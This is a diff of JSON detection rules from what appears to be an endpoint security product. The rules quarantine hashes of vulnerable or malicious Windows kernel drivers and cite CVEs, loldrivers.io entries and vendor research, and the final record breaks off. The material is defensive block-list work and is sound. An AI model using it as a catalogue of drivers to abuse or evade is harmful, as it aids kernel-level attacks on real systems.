+  "id": "f36c0339-2c88-5122-853f-972b8e1f0ee4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.144581Z",
+  "creation_date": "2026-03-23T11:45:31.144583Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.144588Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c9b96740ab510dc69fab798877b0c3e1cef1599c55eb290c4bc439997263c5f8",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f380e67c-48ea-5862-b52c-5ffa314fa187",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.470281Z",
+  "creation_date": "2026-03-23T11:45:30.470285Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.470294Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e171be5cf5cc1f74ec346a1ab0dfaa38c16da6b4265eed710a3faabfc13b9d56",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f38517ca-86f3-5b0e-b45d-26b107cd1e84",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.488205Z",
+  "creation_date": "2026-03-23T11:45:31.488207Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.488212Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "19c539073d670babad2182d19b1f1109b33efece3c215616468ff9f3611619a9",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f38ddd69-b2c6-54f4-8835-ff067d1b7805",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.146248Z",
+  "creation_date": "2026-03-23T11:45:32.146251Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.146259Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ea7440064405fb9d4bb63876905f14beb70b0b01d26a7ea9b9d25c00932c8cca",
+  "comment": "Malicious Kernel Driver (aka driver_b4f33ffe.sys) [https://www.loldrivers.io/drivers/51a44484-8bcc-4150-8b94-4a755cff0af8/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f38e9dc3-712e-57e8-8138-2fd587cddb17",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.613770Z",
+  "creation_date": "2026-03-23T11:45:29.613772Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.613777Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "55fee54c0d0d873724864dc0b2a10b38b7f40300ee9cae4d9baaf8a202c4049a",
+  "comment": "BioStar Microtech drivers vulnerable to kernel memory mapping function (aka BSMEMx64.sys, BSMIXP64.sys, BSMIx64.sys, BS_Flash64.sys, BS_HWMIO64_W10.sys, BS_HWMIo64.sys and BS_I2c64.sys) [https://www.loldrivers.io/drivers/9e87b6b0-00ed-4259-bcd7-05e2c924d58c/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f39fb600-8c5e-59c0-8f19-50e4565bd9ca",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.144651Z",
+  "creation_date": "2026-03-23T11:45:31.144654Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.144660Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "79bef3d6fda11d3622c526f416b837b6c437eaede7466c0fdbe0bcebd9f13d14",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f3a20967-2145-5ec5-adec-9e70a6d1d664",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.969836Z",
+  "creation_date": "2026-03-23T11:45:29.969838Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.969843Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0bc755f3e24023d931c637b4c734ae3a4d50567c87fd025114e0520413721751",
+  "comment": "Avast Vulnerable Driver (aka aswArPot.sys) [CVE-2022-26522, CVE-2022-26523] [https://www.mandiant.com/resources/blog/unc2596-cuba-ransomware] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f3a370b0-7d2d-56b7-8fe4-16dcfa108ad8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.975587Z",
+  "creation_date": "2026-03-23T11:45:29.975589Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.975594Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ab0925398f3fa69a67eacee2bbb7b34ac395bb309df7fc7a9a9b8103ef41ed7a",
+  "comment": "Novell XTier vulnerable driver (aka libnicm.sys) [https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f3a3f928-f683-549a-86fd-428e4c194264",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.974748Z",
+  "creation_date": "2026-03-23T11:45:29.974750Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.974756Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c264c3d71a57a5dff031d74bd2f6ef715eff603cc8078df123e862603e096be4",
+  "comment": "Trend Micro Anti-Rootkit Common Module vulnerable driver (aka TmComm.sys) [CVE-2007-0856] [https://www.loldrivers.io/drivers/22aa985b-5fdb-4e38-9382-a496220c27ec/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f3a95707-1745-5a35-ad4a-df0142499e98",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.146396Z",
+  "creation_date": "2026-03-23T11:45:32.146398Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.146404Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0ffb4081fe867c98118e472538e8a3e6feac2a9d80b5ae2d4e2b621b344cd6d9",
+  "comment": "Malicious Kernel Driver (aka driver_0ffb4081.sys) [https://www.loldrivers.io/drivers/8081b0d0-e18e-474a-bdfa-8ff1956d90cb/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f3af80c6-9688-5eb7-a0a0-9633faaeee90",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.819464Z",
+  "creation_date": "2026-03-23T11:45:30.819466Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.819471Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "848b150ffcf1301b26634a41f28deacb5ccdd3117d79b590d515ed49849b8891",
+  "comment": "Vulnerable Kernel Driver (aka nvoclock.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f3c21312-3d6c-58dd-a1e9-fca63aeb0916",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.818108Z",
+  "creation_date": "2026-03-23T11:45:31.818112Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.818120Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ae91be2d3f55e3012ed209cf55d180a263be25df9494710d2d2bcbdb3e970e26",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f3dcb130-f1d0-5ddf-9b80-023a9726a56b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.479222Z",
+  "creation_date": "2026-03-23T11:45:30.479224Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.479230Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "035b96ff8b85d312be0f9df6271714392a802ec8bab59ae8229812ddc67ced5a",
+  "comment": "Vulnerable Kernel Driver (aka directio32_legacy.sys) [https://www.loldrivers.io/drivers/7a0842ca-1a64-4ad1-9d66-25eb983d1742/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f3df6038-84ff-55a2-af8c-6edaabf4d318",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.824487Z",
+  "creation_date": "2026-03-23T11:45:30.824490Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.824497Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "56e55585c72d5e0d8418c5dff56054e130e3b34d8acc0320c79b78edce5ab410",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f3e23a75-a2cd-5881-9b90-ad67f05af6ab",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.484688Z",
+  "creation_date": "2026-03-23T11:45:31.484691Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.484702Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "96f6af3a7cb383be7c1271775fcf2c9eb517a37172c11caa629a05cc322308c3",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f3f4ede9-6f95-5629-bac5-a661597b98a6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.144503Z",
+  "creation_date": "2026-03-23T11:45:32.144505Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.144511Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "75aa0f984fdc2d0e1db632b65fbec424a87a8c68a822fca1e503a269eba71f2d",
+  "comment": "Malicious Kernel Driver (aka driver_fdd16a94.sys) [https://www.loldrivers.io/drivers/da066835-f37c-40bf-86bb-d77ad45c7f30/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f3f7e3c4-767f-5263-8dcf-5fc30cf35559",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.453490Z",
+  "creation_date": "2026-03-23T11:45:30.453493Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.453502Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4b5ef4b48a5b23818e84e415c70bd7058f665cb7cba379d05da689e1cbe1148e",
+  "comment": "Vulnerable Kernel Driver (aka nicm.sys) [https://www.loldrivers.io/drivers/86cff0de-2536-4b8d-a846-a7312c569597/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f3f8530e-1443-57c2-a2ab-d19e50a9e518",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.620917Z",
+  "creation_date": "2026-03-23T11:45:29.620919Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.620925Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4045ae77859b1dbf13972451972eaaf6f3c97bea423e9e78f1c2f14330cd47ca",
+  "comment": "Phoenix Technologies Vulnerable Physmem drivers (aka Agent64.sys) [https://www.loldrivers.io/drivers/5943b267-64f3-40d4-8669-354f23dec122/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f3fde89d-b46d-5752-bb41-1da9f641aa53",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.461155Z",
+  "creation_date": "2026-03-23T11:45:30.461158Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.461166Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1e94d4e6d903e98f60c240dc841dcace5f9e8bbb0802e6648a49ab80c23318cb",
+  "comment": "Vulnerable Kernel Driver (aka sfdrvx32.sys) [https://www.loldrivers.io/drivers/6c0c60f0-895d-428a-a8ae-e10390bceb12/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f406c5dc-72db-556c-a2e4-ca7c0f8ffecd",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.819934Z",
+  "creation_date": "2026-03-23T11:45:31.819937Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.819946Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8db20ae3737c397c8fb079eaeace0f374e1602adc781a948f9172862cc01198e",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f41d3378-6fa6-5041-bc0e-3bf5dffd099b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.476177Z",
+  "creation_date": "2026-03-23T11:45:31.476181Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.476192Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5b699cb45b365f537c2bc4fef0ac2837586c1fd3f0986835ad182183a5c39927",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f4262759-77f2-5d3d-a927-229f4a0272ac",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.614093Z",
+  "creation_date": "2026-03-23T11:45:29.614095Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.614100Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c7d4943ddac34e1a38692c624d799e634ad4c4e3ae7e3bb2ae4cf0d8eb8985bc",
+  "comment": "MICSYS Technology driver (aka MsIo64.sys) [CVE-2019-18845] [https://github.com/kkent030315/MsIoExploit] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f426f4a3-811d-5ff9-b345-cc7977d70f84",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
